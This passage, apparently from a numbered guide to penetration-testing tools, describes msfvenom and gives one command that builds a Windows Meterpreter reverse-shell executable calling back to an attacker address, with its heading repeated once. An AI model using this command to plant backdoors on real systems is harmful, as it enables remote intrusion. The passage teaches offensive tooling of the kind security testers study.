2. msfvenom
Description:
msfvenom is a tool used to generate payloads, shellcode, and backdoors. It combines the capabilities of msfpayload and msfencode into a single command-line tool.
Examples:
- Generate a Reverse Shell Payload:
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe > payload.exe
- Generate a Reverse Shell Payload:
Explanation: Creates a Windows Meterpreter reverse shell payload that connects back to the attacker’s IP (192.168.1.5), saving it as an executable file (payload.exe).